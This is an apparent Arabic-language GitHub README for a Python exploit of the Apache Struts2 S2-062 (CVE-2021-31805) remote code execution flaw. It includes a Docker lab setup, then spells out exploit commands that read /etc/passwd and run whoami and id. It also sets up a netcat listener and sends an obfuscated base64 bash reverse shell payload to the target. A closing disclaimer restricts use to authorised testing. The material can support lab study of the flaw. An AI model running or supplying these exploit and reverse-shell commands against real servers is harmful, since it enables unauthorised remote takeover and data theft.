secnn/struts2_s2-062_cve-2021-31805استغلال Python لثغرة Apache Struts2 S2-062 (CVE-2021-31805) لتنفيذ الأكواد عن بُعد، مع بيئة إعادة إنتاج مبنية على Docker وتوليد حمولة قشرة عكسية.
ثغرة التنفيذ عن بُعد لـ Apache Struts2 S2-062 (CVE-2021-31805) | قشرة عكسية (Reverse Shell)
docker-compose.yml
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "8080:8080"
سحب الصورة وتشغيل البيئة
docker-compose up -d
عنوان الوصول: http://1.1.1.1:8080
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id
nc -lvvp 8081
إنشاء سكربت القشرة العكسية المشفر بـ base64، باستخدام الموقع التالي: https://ir0ny.top/pentest/reverse-encoder-shell.html
python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"
لا تستخدمه لأغراض غير قانونية، استخدمه فقط لاختبارات الأمان، وإلا فإن العواقب لا علاقة لها بهذا المشروع. ملاحظة: يجب اختبار المواقع فقط بتفويض رسمي: الاختراق غير القانوني للمواقع، دموع الأحباء تنساب.